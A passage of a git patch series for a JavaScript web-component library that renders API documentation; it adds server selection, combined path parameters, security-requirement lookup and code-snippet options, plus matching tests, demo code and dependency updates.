}); + + it('does not render URL area when no servers', async () => { + const element = await modelFixture(noServersAmf); + const urlNode = element.shadowRoot.querySelector('.url-area'); + assert.notOk(urlNode); + const serversNode = element.shadowRoot.querySelector('.servers'); + assert.notOk(serversNode); + }); + + it('renders multiple URLs with descriptions', async () => { + const element = await modelFixture(oasMultipleServersWithDescriptionAmf); + const nodes = element.shadowRoot.querySelectorAll('.server-lists li'); + assert.lengthOf(nodes, 4, 'has 4 servers'); + assert.equal(nodes[0].textContent.trim(), 'https://api.aws-west-prd.capgroup.com/cdp-proxy/profiles'); + assert.equal(nodes[0].querySelector('arc-marked').markdown, 'MuleSoft PROD'); + assert.equal(nodes[1].textContent.trim(), 'https://api.aws-west-snp.capgroup.com/cdp-proxy-e2e/profiles'); + assert.equal(nodes[1].querySelector('arc-marked').markdown, 'MuleSoft UAT (for enterprise consumers)'); + assert.equal(nodes[2].textContent.trim(), 'https://api.aws-west-oz.capgroup.com/cdp-proxy-ite2/profiles'); + assert.equal(nodes[2].querySelector('arc-marked').markdown, 'MuleSoft QA (for enterprise consumers)'); + assert.equal(nodes[3].textContent.trim(), 'https://api.aws-west-oz.capgroup.com/cdp-proxy-dev2/profiles'); + assert.notOk(nodes[3].querySelector('arc-marked')); + }); + }); + + describe('AsyncAPI', () => { + /** @type AmfDocument */ + let model; + before(async () => { + model = await loader.getGraph(compact, 'async-api'); + }); + + /** @type ApiSummaryElement */ + let element; + beforeEach(async () => { + element = await modelFixture(model); + }); + + it('renders server uri for API', () => { + const node = element.shadowRoot.querySelector('.url-value'); + assert.equal(node.textContent.trim(), 'amqp://broker.mycompany.com'); + }); + + it('renders "API channels" message', () => { + assert.equal(element.shadowRoot.querySelector('.section.endpoints-title').textContent, 'API channels'); + }); + }); + + describe('hideToc', () => { + /** @type AmfDocument */ + let model; + before(async () => { + model = await loader.getGraph(compact); + }); + + /** @type ApiSummaryElement */ + let element; + beforeEach(async () => { + element = await modelFixture(model); + element.setAttribute('hideToc', 'true'); + await nextFrame(); + }); + + it('does not render endpoints template', () => { + const node = element.shadowRoot.querySelector('.toc'); + assert.isNull(node); + }); + }); + + describe('Rendering for library', () => { + /** @type AmfDocument */ + let libraryModel; + /** @type AmfDocument */ + let apiModel; + before(async () => { + libraryModel = await loader.getGraph(compact, 'APIC-711'); + apiModel = await loader.getGraph(compact); + }); + + /** @type ApiSummaryElement */ + let element; + beforeEach(async () => { + element = await modelFixture(apiModel); + }); + + it('clears everything when changing to RAML library', async () => { + element.amf = libraryModel; + await aTimeout(0); + assert.isUndefined(element.summary); + assert.isUndefined(element.servers); + assert.isUndefined(element[endpointsValue]); + }); + }); + }); + }); + + describe('a11y', () => { + /** @type AmfDocument */ + let model; + before(async () => { + model = await loader.getGraph(true, 'loan-microservice'); + }); + + /** @type ApiSummaryElement */ + let element; + beforeEach(async () => { + element = await modelFixture(model); + }); + + it('passes accessibility test', async () => { + await assert.isAccessible(element, { + ignoredRules: ['color-contrast'] + }); + }); + }); +}); diff --git a/tsconfig.json b/tsconfig.json index 46b1343..fbea4c9 100644 --- a/tsconfig.json +++ b/tsconfig.json @@ -17,6 +17,6 @@ } ] }, - "include": [ "**/*.js", "node_modules/@open-wc/**/*.js", "src/ApiDocumentationElement.d.ts", "index.d.ts" ], + "include": [ "**/*.js", "node_modules/@open-wc/**/*.js", "index.d.ts" ], "exclude": ["node_modules/!(@open-wc)"] } From 75150252f4e753b3b9dcbbdc4525794c68da3fff Mon Sep 17 00:00:00 2001 From: Pawel Psztyc Date: Sat, 2 Oct 2021 17:46:09 -0700 Subject: [PATCH 17/24] chore: fixing operation rendering issues Signed-off-by: Pawel Psztyc --- demo/api-operation.js | 83 ++++++++++++++++-- package-lock.json | 6 +- package.json | 13 ++- src/elements/ApiOperationDocumentElement.js | 45 ++++++---- src/elements/ApiParameterDocumentElement.js | 3 +- src/elements/ApiRequestDocumentElement.js | 57 +++++++++---- src/elements/ApiSecurityDocumentElement.js | 1 - .../ApiSecurityRequirementDocumentElement.js | 85 ++++++++++++++++++- src/lib/QueryParameterProcessor.js | 5 +- web-test-runner.config.mjs | 5 ++ 10 files changed, 253 insertions(+), 50 deletions(-) diff --git a/demo/api-operation.js b/demo/api-operation.js index 07352ba..8b80c75 100644 --- a/demo/api-operation.js +++ b/demo/api-operation.js @@ -6,6 +6,7 @@ import '@anypoint-web-components/anypoint-dialog/anypoint-dialog-scrollable.js'; import '@api-components/api-request/api-request-panel.js'; import '@api-components/api-request/xhr-simple-request.js'; import '@advanced-rest-client/authorization/oauth2-authorization.js'; +import '@api-components/api-server-selector/api-server-selector.js'; import { AmfDemoBase } from './lib/AmfDemoBase.js'; import '../api-operation-document.js'; @@ -13,12 +14,17 @@ class ComponentPage extends AmfDemoBase { constructor() { super(); this.initObservableProperties([ - 'selectedId', 'selectedType', 'tryIt', + 'selectedId', 'selectedType', 'tryIt', 'parentEndpoint', 'editorOpened', 'editorOperation', 'overrideBaseUri', + 'serverType', 'serverValue', ]); + /** @type string */ this.selectedId = undefined; + /** @type string */ this.selectedType = undefined; + /** @type string */ + this.endpointId = undefined; this.tryIt = true; this.overrideBaseUri = false; this.compatibility = false; @@ -26,20 +32,58 @@ class ComponentPage extends AmfDemoBase { this.redirectUri = `${window.location.origin}/node_modules/@advanced-rest-client/oauth-authorization/oauth-popup.html`; } + get baseUri() { + const { serverValue, serverType } = this; + if (['custom', 'uri'].includes(serverType)) { + return serverValue; + } + return undefined; + } + + get serverId() { + const { serverValue, serverType, endpointId, selectedId } = this; + if (!serverValue || ['custom', 'uri'].includes(serverType)) { + return undefined; + } + const servers = this._getServers({ endpointId, methodId: selectedId }); + if (!Array.isArray(servers)) { + return undefined; + } + const srv = servers.find((item) => { + const url = /** @type string */ (this._getValue(item, this.ns.aml.vocabularies.core.urlTemplate)); + return url === serverValue; + }); + if (srv) { + return srv['@id']; + } + return undefined; + } + + /** + * @param {CustomEvent} e + */ + _serverHandler(e) { + const { value, type } = e.detail; + this.serverType = type; + this.serverValue = value; + } + /** * @param {CustomEvent} e */ _navChanged(e) { - const { selected, type, passive } = e.detail; + const { selected, type, passive, endpointId } = e.detail; if (passive) { return; } if (type === 'method') { this.selectedId = selected; this.selectedType = type; + this.parentEndpoint = endpointId; } else { this.selectedId = undefined; this.selectedType = undefined; + this.endpointId = undefined; } } @@ -74,7 +118,7 @@ class ComponentPage extends AmfDemoBase {

    This demo lets you preview the API Operation document with various configuration options.

    - + ${this.serverSelectorTemplate()}
    ${!loaded ? html`

    Load an API model first.

    ` : this.loadedTemplate()}
    @@ -90,10 +134,16 @@ class ComponentPage extends AmfDemoBase { } componentTemplate() { - const { demoStates, darkThemeActive, selectedId, amf, tryIt, overrideBaseUri } = this; + const { demoStates, darkThemeActive, selectedId, amf, tryIt, overrideBaseUri, baseUri, serverId } = this; if (!selectedId) { return html`

    Select API operation in the navigation

    `; } + let finalBaseUri; + if (baseUri) { + finalBaseUri = baseUri; + } else if (overrideBaseUri) { + finalBaseUri = 'https://custom.api.com'; + } return html` `; } + + /** + * @return {object} A template for the server selector + */ + serverSelectorTemplate() { + const { + amf, + serverType, + serverValue, + compatibility, + } = this; + return html` + `; + } } const instance = new ComponentPage(); instance.render(); diff --git a/package-lock.json b/package-lock.json index d3e4ddb..ba60f52 100644 --- a/package-lock.json +++ b/package-lock.json @@ -651,9 +651,9 @@ } }, "@api-components/api-request": { - "version": "0.3.0-beta.5", - "resolved": "https://registry.npmjs.org/@api-components/api-request/-/api-request-0.3.0-beta.5.tgz", - "integrity": "sha512-hAt+K5OovThtkzeQLKHyIUgEscYQSXWnLbkbyF/5rv45+HywzdgH/vtsmQFLj3KZ4cdHOgR/S2hBdEq6eWlyvg==", + "version": "0.3.0-beta.6", + "resolved": "https://registry.npmjs.org/@api-components/api-request/-/api-request-0.3.0-beta.6.tgz", + "integrity": "sha512-9MmQ4Lt1sIefpQ/kMBUOla97v4nn9TX5BzEUPcNoMsHDr8T3aFCWBMxPh6QcGuwiWSf2XMypVyYZn3DF8iEBkw==", "requires": { "@advanced-rest-client/arc-events": "^0.2.21", "@advanced-rest-client/arc-headers": "^0.1.7", diff --git a/package.json b/package.json index 7bf8923..9ec225f 100644 --- a/package.json +++ b/package.json @@ -10,10 +10,15 @@ "api-console", "api-documentation" ], - "authors": [ - "Pawel Psztyc" - ], + "author": { + "name": "Pawel Uchida-Psztyc", + "email": "pawel.psztyc@mulesoft.com" + }, "contributors": [ + "Carolina Wright", + "Francisco Di Giandomenico", + "Leandro Bauret", + "Yury", "Your name can be here!" ], "repository": { @@ -37,7 +42,7 @@ "@anypoint-web-components/anypoint-radio-button": "^0.1.9", "@anypoint-web-components/anypoint-tabs": "^0.1.19", "@api-components/amf-helper-mixin": "^4.5.14", - "@api-components/api-request": "^0.3.0-beta.5", + "@api-components/api-request": "^0.3.0-beta.6", "@api-components/api-schema": "^0.1.4", "@api-components/api-server-selector": "^0.7.1", "@api-components/http-method-label": "^3.1.4", diff --git a/src/elements/ApiOperationDocumentElement.js b/src/elements/ApiOperationDocumentElement.js index c596bf4..f01f795 100644 --- a/src/elements/ApiOperationDocumentElement.js +++ b/src/elements/ApiOperationDocumentElement.js @@ -89,6 +89,24 @@ export default class ApiOperationDocumentElement extends ApiDocumentationBase { } this[serverIdValue] = value; this[computeUrlValue](); + this.requestUpdate(); + } + + /** + * @returns {ApiServer|undefined} The current server in use. + */ + get server() { + const servers = this[serversValue]; + const serverId = this[serverIdValue]; + let server; + if (Array.isArray(servers) && servers.length) { + if (serverId) { + server = servers.find((item) => item.id === serverId); + } else { + [server] = servers; + } + } + return server; } /** @@ -337,21 +355,12 @@ export default class ApiOperationDocumentElement extends ApiDocumentationBase { if (this.asyncApi) { return; } - const servers = this[serversValue]; const endpoint = this[endpointValue]; - const serverId = this[serverIdValue]; - let server; - if (Array.isArray(servers) && servers.length) { - if (serverId) { - server = servers.find((item) => item.id === serverId); - } else { - [server] = servers; - } - } - const { baseUri } = this; + const version = this._computeApiVersion(this.amf); + const { baseUri, server } = this; const wa = this._computeWebApi(this.amf); const protocols = /** @type string[] */ (this._getValueArray(wa, this.ns.aml.vocabularies.apiContract.scheme)); - const url = UrlLib.computeEndpointUri({ baseUri, server, endpoint, protocols, }); + const url = UrlLib.computeEndpointUri({ baseUri, server, endpoint, protocols, version, }); this[urlValue] = url; } @@ -395,13 +404,13 @@ export default class ApiOperationDocumentElement extends ApiDocumentationBase { return html` ${this[titleTemplate]()} - ${this[traitsTemplate]()} ${this[summaryTemplate]()} + ${this[urlTemplate]()} + ${this[traitsTemplate]()} ${this[deprecatedTemplate]()} ${this[descriptionTemplate](this[operationValue].description)} ${this[metaDataTemplate]()} ${this[customDomainPropertiesTemplate](this[operationValue].customDomainProperties)} - ${this[urlTemplate]()} ${this[requestTemplate]()} ${this[callbacksTemplate]()} ${this[responseTemplate]()} @@ -531,13 +540,16 @@ export default class ApiOperationDocumentElement extends ApiDocumentationBase { */ [requestTemplate]() { const operation = this[operationValue]; - if (!operation || !operation.request) { + if (!operation) { return ''; } + const { server, endpoint } = this; return html` html``); + const content = operation.security.map((model) => html``); return this[paramsSectionTemplate]('Security', 'securityOpened', content); } diff --git a/src/elements/ApiParameterDocumentElement.js b/src/elements/ApiParameterDocumentElement.js index 68685e4..6941d44 100644 --- a/src/elements/ApiParameterDocumentElement.js +++ b/src/elements/ApiParameterDocumentElement.js @@ -6,7 +6,7 @@ import commonStyles from './styles/Common.js'; import elementStyles from './styles/ApiParameter.js'; import schemaStyles from './styles/SchemaCommon.js'; import { readPropertyTypeLabel } from '../lib/Utils.js'; -import { paramNameTemplate, typeValueTemplate, detailsTemplate } from './SchemaCommonTemplates.js'; +import { paramNameTemplate, typeValueTemplate, detailsTemplate, pillTemplate } from './SchemaCommonTemplates.js'; import { ApiDocumentationBase, descriptionTemplate } from './ApiDocumentationBase.js'; /** @typedef {import('lit-element').TemplateResult} TemplateResult */ @@ -109,6 +109,7 @@ export default class ApiParameterDocumentElement extends ApiDocumentationBase { ${paramNameTemplate(name, required)} ${typeValueTemplate(type)} + ${required ? pillTemplate('Required', 'This property is required.') : ''}
    ${this[descriptionTemplate]()} diff --git a/src/elements/ApiRequestDocumentElement.js b/src/elements/ApiRequestDocumentElement.js index 769a13f..6de5cac 100644 --- a/src/elements/ApiRequestDocumentElement.js +++ b/src/elements/ApiRequestDocumentElement.js @@ -22,6 +22,9 @@ import '../../api-parameter-document.js'; /** @typedef {import('@api-components/amf-helper-mixin').Request} Request */ /** @typedef {import('@api-components/amf-helper-mixin').ApiNodeShape} ApiNodeShape */ /** @typedef {import('@api-components/amf-helper-mixin').ApiArrayShape} ApiArrayShape */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiServer} ApiServer */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiEndPoint} ApiEndPoint */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiParameter} ApiParameter */ /** @typedef {import('@anypoint-web-components/anypoint-radio-button/index').AnypointRadioGroupElement} AnypointRadioGroupElement */ /** @typedef {import('../types').OperationParameter} OperationParameter */ @@ -82,14 +85,22 @@ export default class ApiRequestDocumentElement extends ApiDocumentationBase { } /** - * @returns {boolean} true when has URI parameters definition + * @returns {ApiParameter[]} The combined list of path parameters in the server, endpoint, and the request. */ - get hasUriParameters() { - const request = this[requestValue]; - if (!request) { - return false; + get uriParameters() { + const request = /** @type ApiRequest */ (this[requestValue]); + const { server, endpoint } = this; + let result = /** @type ApiParameter[] */ ([]); + if (server && Array.isArray(server.variables) && server.variables.length) { + result = result.concat(server.variables); } - return Array.isArray(request.uriParameters) && !!request.uriParameters.length; + if (endpoint && Array.isArray(endpoint.parameters) && endpoint.parameters.length) { + result = result.concat(endpoint.parameters); + } + if (request && Array.isArray(request.uriParameters) && request.uriParameters.length) { + result = result.concat(request.uriParameters); + } + return result; } /** @@ -159,6 +170,16 @@ export default class ApiRequestDocumentElement extends ApiDocumentationBase { * The currently selected media type for the payloads. */ mimeType: { type: String, reflect: true }, + /** + * The current server in use. + * It adds path parameters defined for the server. + */ + server: { type: Object }, + /** + * The parent endpoint of this request. + * It adds path parameters defined for the endpoint. + */ + endpoint: { type: Object }, }; } @@ -182,9 +203,13 @@ export default class ApiRequestDocumentElement extends ApiDocumentationBase { this.cookiesOpened = undefined; /** @type {boolean} */ this.parametersOpened = undefined; - /** @type Request */ + /** @type {Request} */ this.domainModel = undefined; - /** @type OperationParameter[] */ + /** @type {ApiServer} */ + this.server = undefined; + /** @type {ApiEndPoint} */ + this.endpoint = undefined; + /** @type {OperationParameter[]} */ this[queryParametersValue] = undefined; } @@ -243,14 +268,10 @@ export default class ApiRequestDocumentElement extends ApiDocumentationBase { } render() { - const { request } = this; - if (!request) { + const { request, server, endpoint } = this; + if (!request && !server && !endpoint) { return html``; } - // these looks like are going to "schema" rendering and there's no way to define CDPs or - // a description on a request. - // ${this[customDomainPropertiesTemplate](request.customDomainProperties)} - // ${this[descriptionTemplate](request.description)} return html` ${this[queryParamsTemplate]()} @@ -265,11 +286,15 @@ export default class ApiRequestDocumentElement extends ApiDocumentationBase { * @return {TemplateResult|string} The template for the query parameters */ [queryParamsTemplate]() { - if (!this.hasQueryParameters && !this.hasUriParameters) { + const { uriParameters, hasQueryParameters } = this; + if (!hasQueryParameters && !uriParameters.length) { return ''; } const { request } = this; - const { queryParameters=[], uriParameters=[] } = request; + let queryParameters = []; + if (request && Array.isArray(request.queryParameters)) { + queryParameters = request.queryParameters; + } const all = uriParameters.concat(queryParameters); const content = all.map((param) => this[schemaItemTemplate](param, 'query')); return this[paramsSectionTemplate]('Parameters', 'parametersOpened', content); diff --git a/src/elements/ApiSecurityDocumentElement.js b/src/elements/ApiSecurityDocumentElement.js index 50d725b..362599e 100644 --- a/src/elements/ApiSecurityDocumentElement.js +++ b/src/elements/ApiSecurityDocumentElement.js @@ -150,7 +150,6 @@ export default class ApiSecurityDocumentElement extends ApiDocumentationBase { return; } if (!domainId || !amf) { - this[setModel](); return; } const declares = this._computeDeclares(amf); diff --git a/src/elements/ApiSecurityRequirementDocumentElement.js b/src/elements/ApiSecurityRequirementDocumentElement.js index c491fca..35ec22f 100644 --- a/src/elements/ApiSecurityRequirementDocumentElement.js +++ b/src/elements/ApiSecurityRequirementDocumentElement.js @@ -9,6 +9,8 @@ import '../../api-parametrized-security-scheme.js'; /** @typedef {import('@api-components/amf-helper-mixin').SecurityRequirement} SecurityRequirement */ export const securityRequirementValue = Symbol('securityRequirementValue'); +export const findSecurity = Symbol('findSecurity'); +export const findOperationSecurity = Symbol('findOperationSecurity'); export default class ApiSecurityRequirementDocumentElement extends ApiDocumentationBase { constructor() { @@ -42,13 +44,90 @@ export default class ApiSecurityRequirementDocumentElement extends ApiDocumentat * @returns {Promise} */ async processGraph() { - const { domainModel } = this; - if (domainModel) { - this[securityRequirementValue] = this[serializerValue].securityRequirement(domainModel); + const { domainModel, domainId } = this; + let processModel = domainModel; + if (!processModel && domainId) { + if (!this[securityRequirementValue] || this[securityRequirementValue].id !== domainId) { + processModel = this[findSecurity](domainId); + if (!processModel) { + processModel = this[findOperationSecurity](domainId); + } + } + } + if (processModel) { + this[securityRequirementValue] = this[serializerValue].securityRequirement(processModel); } await this.requestUpdate(); } + /** + * @param {string} id + * @returns {SecurityRequirement|undefined} + */ + [findSecurity](id) { + const { amf } = this; + if (!amf) { + return undefined; + } + const declares = this._computeDeclares(amf); + if (declares) { + const result = declares.find((item) => item['@id'] === id); + if (result) { + return this._resolve(result); + } + } + const references = this._computeReferences(amf) || []; + for (const reference of references) { + if (!this._hasType(reference, this.ns.aml.vocabularies.document.Module)) { + const referencedDeclares = this._computeDeclares(reference) || []; + for (let declare of referencedDeclares) { + if (Array.isArray(declare)) { + [declare] = declare; + } + if (declare['@id'] === id) { + return this._resolve(declare); + } + } + } + } + return undefined; + } + + /** + * @param {string} id + * @returns {SecurityRequirement|undefined} + */ + [findOperationSecurity](id) { + const { amf } = this; + if (!amf) { + return undefined; + } + const wa = this._computeApi(amf); + if (!wa) { + return undefined; + } + const endpoints = wa[this._getAmfKey(this.ns.aml.vocabularies.apiContract.endpoint)]; + if (!Array.isArray(endpoints)) { + return undefined; + } + for (const endpoint of endpoints) { + const operations = endpoint[this._getAmfKey(this.ns.aml.vocabularies.apiContract.supportedOperation)]; + if (Array.isArray(operations)) { + for (const operation of operations) { + const securityList = operation[this._getAmfKey(this.ns.aml.vocabularies.security.security)]; + if (Array.isArray(securityList)) { + for (const security of securityList) { + if (security['@id'] === id) { + return security; + } + } + } + } + } + } + return undefined; + } + render() { const scheme = this[securityRequirementValue]; if (!scheme || !scheme.schemes || !scheme.schemes.length) { diff --git a/src/lib/QueryParameterProcessor.js b/src/lib/QueryParameterProcessor.js index b8b2a0f..41687c3 100644 --- a/src/lib/QueryParameterProcessor.js +++ b/src/lib/QueryParameterProcessor.js @@ -10,11 +10,14 @@ import { ns } from '@api-components/amf-helper-mixin'; /** @typedef {import('@api-components/amf-helper-mixin').ApiPropertyShape} ApiPropertyShape */ /** @typedef {import('../types').OperationParameter} OperationParameter */ +/** + * A library to create a list of ApiParameters from a query string value. + */ export class QueryParameterProcessor { /** * @param {ApiShapeUnion} schema * @param {string} binding The parameter binding. - * @param {string=} source Optional parameter source. + * @param {string=} source Optional parameter source. * @returns {OperationParameter[]} */ collectOperationParameters(schema, binding, source) { diff --git a/web-test-runner.config.mjs b/web-test-runner.config.mjs index 4b2a0d7..59f7b29 100644 --- a/web-test-runner.config.mjs +++ b/web-test-runner.config.mjs @@ -10,4 +10,9 @@ export default { return next(); } ], + testFramework: { + config: { + timeout: 10000, + }, + }, }; From 06fd79bae43d7692e564d5fa7e9ebe7af374b377 Mon Sep 17 00:00:00 2001 From: Pawel Psztyc Date: Sun, 3 Oct 2021 17:34:01 -0700 Subject: [PATCH 18/24] chore: syncing operation templae Signed-off-by: Pawel Psztyc --- .vscode/settings.json | 1 + TODO.md | 5 +- demo/api-operation.js | 28 ++- package-lock.json | 21 ++ package.json | 1 + src/elements/ApiOperationDocumentElement.js | 249 +++++++++++++++++++- src/elements/ApiRequestDocumentElement.js | 42 ++++ 7 files changed, 341 insertions(+), 6 deletions(-) diff --git a/.vscode/settings.json b/.vscode/settings.json index 3b9a101..d4f2a32 100644 --- a/.vscode/settings.json +++ b/.vscode/settings.json @@ -5,6 +5,7 @@ "contentinfo", "dompurify", "fasttext", + "mimechange", "monostate", "Nexmo", "notryit", diff --git a/TODO.md b/TODO.md index 15bc3ae..39d2149 100644 --- a/TODO.md +++ b/TODO.md @@ -2,8 +2,7 @@ # TODO - ~~Add "try it" button~~ -- Sync the Operation template - - Add code snippets +- ~~Sync the Operation template~~ - Sync the Endpoint template - ~~Sync the Schema template~~ - ~~Sync the Response template~~ @@ -14,5 +13,5 @@ - Rendering of fragments and the partial model - main `api-documentation` element - ~~replace body content type selector with radio buttons like in the request editor~~ -- move the `api-summary` element +- ~~move the `api-summary` element~~ - Tests diff --git a/demo/api-operation.js b/demo/api-operation.js index 8b80c75..d2f672a 100644 --- a/demo/api-operation.js +++ b/demo/api-operation.js @@ -18,6 +18,7 @@ class ComponentPage extends AmfDemoBase { 'editorOpened', 'editorOperation', 'overrideBaseUri', 'serverType', 'serverValue', + 'renderSecurity', 'renderCodeSnippets' ]); /** @type string */ this.selectedId = undefined; @@ -27,6 +28,8 @@ class ComponentPage extends AmfDemoBase { this.endpointId = undefined; this.tryIt = true; this.overrideBaseUri = false; + this.renderSecurity = true; + this.renderCodeSnippets = true; this.compatibility = false; this.componentName = 'api-operation-document'; this.redirectUri = `${window.location.origin}/node_modules/@advanced-rest-client/oauth-authorization/oauth-popup.html`; @@ -134,7 +137,10 @@ class ComponentPage extends AmfDemoBase { } componentTemplate() { - const { demoStates, darkThemeActive, selectedId, amf, tryIt, overrideBaseUri, baseUri, serverId } = this; + const { + demoStates, darkThemeActive, selectedId, amf, tryIt, overrideBaseUri, baseUri, serverId, + renderSecurity, renderCodeSnippets, + } = this; if (!selectedId) { return html`

    Select API operation in the navigation

    `; } @@ -157,6 +163,8 @@ class ComponentPage extends AmfDemoBase { .serverId="${serverId}" slot="content" ?tryIt="${tryIt}" + ?renderCodeSnippets="${renderCodeSnippets}" + ?renderSecurity="${renderSecurity}" @tryit="${this.tryitHandler}" > @@ -179,6 +187,24 @@ class ComponentPage extends AmfDemoBase { > Custom base URI + + Render security + + + Render code snippets + `; } diff --git a/package-lock.json b/package-lock.json index ba60f52..6c996f5 100644 --- a/package-lock.json +++ b/package-lock.json @@ -304,6 +304,18 @@ "prismjs": "^1.23.0" } }, + "@advanced-rest-client/http-code-snippets": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/@advanced-rest-client/http-code-snippets/-/http-code-snippets-3.2.2.tgz", + "integrity": "sha512-iYs5LqrE5UtVY1UPpIFTMuZ4eIrOh69J8SeykK93gbWTRvkLMqJtnbOrVQ8KtC/DqaNqgvNhN4sqUAQY28sygw==", + "requires": { + "@anypoint-web-components/anypoint-button": "^1.2.0", + "@anypoint-web-components/anypoint-tabs": "^0.1.13", + "@polymer/prism-element": "^3.0.0", + "lit-element": "^2.4.0", + "prismjs": "^1.23.0" + } + }, "@advanced-rest-client/monaco-support": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/@advanced-rest-client/monaco-support/-/monaco-support-1.0.1.tgz", @@ -2948,6 +2960,15 @@ "@webcomponents/shadycss": "^1.9.1" } }, + "@polymer/prism-element": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/@polymer/prism-element/-/prism-element-3.0.1.tgz", + "integrity": "sha512-mam3oZZwVoxmC8i2srCxaTsvCqZF2HX4yxbm1JN9OGZS2JMwu7bnjjk7O8haoj9u6w+ocUi+vTLjYeIIoPx7vQ==", + "requires": { + "@polymer/polymer": "^3.0.0", + "prismjs": "^1.11.0" + } + }, "@rdfjs/types": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/@rdfjs/types/-/types-1.0.1.tgz", diff --git a/package.json b/package.json index 9ec225f..dea371f 100644 --- a/package.json +++ b/package.json @@ -34,6 +34,7 @@ "@advanced-rest-client/arc-icons": "^3.3.4", "@advanced-rest-client/events-target-mixin": "^3.2.4", "@advanced-rest-client/highlight": "^1.1.1", + "@advanced-rest-client/http-code-snippets": "^3.2.2", "@anypoint-web-components/anypoint-button": "^1.2.3", "@anypoint-web-components/anypoint-collapse": "^0.1.2", "@anypoint-web-components/anypoint-dropdown-menu": "^0.1.21", diff --git a/src/elements/ApiOperationDocumentElement.js b/src/elements/ApiOperationDocumentElement.js index f01f795..dd8510b 100644 --- a/src/elements/ApiOperationDocumentElement.js +++ b/src/elements/ApiOperationDocumentElement.js @@ -1,13 +1,17 @@ /* eslint-disable class-methods-use-this */ import { html } from 'lit-element'; import { classMap } from 'lit-html/directives/class-map.js'; +import { ns } from "@api-components/amf-helper-mixin"; import { Styles as HttpStyles } from '@api-components/http-method-label'; import { MarkdownStyles } from '@advanced-rest-client/highlight'; import { UrlLib } from '@api-components/api-request'; +import { ApiSchemaValues, ApiSchemaGenerator } from '@api-components/api-schema'; import '@advanced-rest-client/highlight/arc-marked.js'; import '@anypoint-web-components/anypoint-tabs/anypoint-tab.js'; import '@anypoint-web-components/anypoint-tabs/anypoint-tabs.js'; import '@advanced-rest-client/arc-icons/arc-icon.js'; +import '@advanced-rest-client/http-code-snippets/http-code-snippets.js'; +import { QueryParameterProcessor } from '../lib/QueryParameterProcessor.js'; import elementStyles from './styles/ApiOperation.js'; import commonStyles from './styles/Common.js'; import { @@ -16,6 +20,7 @@ import { descriptionTemplate, serializerValue, customDomainPropertiesTemplate, + evaluateExample, } from './ApiDocumentationBase.js'; import { tablePropertyTemplate } from './SchemaCommonTemplates.js'; import schemaStyles from './styles/SchemaCommon.js'; @@ -30,7 +35,11 @@ import '../../api-security-requirement-document.js'; /** @typedef {import('@api-components/amf-helper-mixin').Operation} Operation */ /** @typedef {import('@api-components/amf-helper-mixin').ApiResponse} ApiResponse */ /** @typedef {import('@api-components/amf-helper-mixin').ApiCallback} ApiCallback */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiAnyShape} ApiAnyShape */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiParameter} ApiParameter */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiScalarShape} ApiScalarShape */ /** @typedef {import('@anypoint-web-components/anypoint-tabs').AnypointTabs} AnypointTabs */ +/** @typedef {import('./ApiRequestDocumentElement').default} ApiRequestDocumentElement */ export const queryEndpoint = Symbol('queryEndpoint'); export const queryServers = Symbol('queryServers'); @@ -42,8 +51,15 @@ export const serverIdValue = Symbol('serverIdValue'); export const urlValue = Symbol('urlValue'); export const responsesValue = Symbol('responsesValue'); export const computeUrlValue = Symbol('computeUrlValue'); +export const computeParametersValue = Symbol('computeParametersValue'); +export const snippetsParametersValue = Symbol('snippetsParametersValue'); +export const computeSnippetsPayload = Symbol('computeSnippetsPayload'); +export const computeSnippetsHeaders = Symbol('computeSnippetsHeaders'); +export const snippetsPayloadValue = Symbol('snippetsPayloadValue'); +export const snippetsHeadersValue = Symbol('snippetsHeadersValue'); export const baseUriValue = Symbol('baseUriValue'); export const preselectResponse = Symbol('preselectResponse'); +export const requestMimeChangeHandler = Symbol('requestMimeChangeHandler'); export const titleTemplate = Symbol('titleTemplate'); export const traitsTemplate = Symbol('extendsTemplate'); export const summaryTemplate = Symbol('summaryTemplate'); @@ -60,6 +76,7 @@ export const tryItTemplate = Symbol('tryItTemplate'); export const tryItHandler = Symbol('tryItHandler'); export const callbacksTemplate = Symbol('callbacksTemplate'); export const callbackTemplate = Symbol('callbackTemplate'); +export const snippetsTemplate = Symbol('snippetsTemplate'); /** * A web component that renders the documentation page for an API operation built from @@ -89,6 +106,7 @@ export default class ApiOperationDocumentElement extends ApiDocumentationBase { } this[serverIdValue] = value; this[computeUrlValue](); + this[computeParametersValue](); this.requestUpdate(); } @@ -145,6 +163,7 @@ export default class ApiOperationDocumentElement extends ApiDocumentationBase { } this[endpointValue] = value; this[computeUrlValue](); + this[computeParametersValue](); this.requestUpdate(); } @@ -165,9 +184,19 @@ export default class ApiOperationDocumentElement extends ApiDocumentationBase { } this[baseUriValue] = value; this[computeUrlValue](); + this[computeParametersValue](); this.requestUpdate(); } + /** + * @returns {string} + */ + get snippetsUri() { + const base = this[urlValue] || ''; + const query = this[snippetsParametersValue] || ''; + return `${base}${query}` + } + static get properties() { return { /** @@ -188,6 +217,10 @@ export default class ApiOperationDocumentElement extends ApiDocumentationBase { * When set it opens the security section */ securityOpened: { type: Boolean, reflect: true }, + /** + * When set it opens the code snippets section + */ + snippetsOpened: { type: Boolean, reflect: true }, /** * The selected status code in the responses section. */ @@ -204,6 +237,18 @@ export default class ApiOperationDocumentElement extends ApiDocumentationBase { * When set it renders the view optimised for asynchronous API operation. */ asyncApi: { type: Boolean, reflect: true }, + /** + * When set it renders code examples section is the documentation + */ + renderCodeSnippets: { type: Boolean }, + /** + * When set it renders security documentation when applicable + */ + renderSecurity: { type: Boolean }, + /** + * The currently rendered request panel mime type. + */ + requestMimeType: { type: String }, }; } @@ -238,11 +283,23 @@ export default class ApiOperationDocumentElement extends ApiDocumentationBase { /** @type {boolean} */ this.securityOpened = undefined; /** @type {boolean} */ + this.snippetsOpened = undefined; + /** @type {boolean} */ this.tryIt = undefined; /** @type {boolean} */ this.asyncApi = undefined; + /** @type {boolean} */ + this.renderCodeSnippets = undefined; + /** @type {boolean} */ + this.renderSecurity = undefined; /** @type {Operation} */ this.domainModel = undefined; + /** @type {string} */ + this.requestMimeType = undefined; + /** @type {string} */ + this[snippetsPayloadValue] = undefined; + /** @type {string} */ + this[snippetsHeadersValue] = undefined; 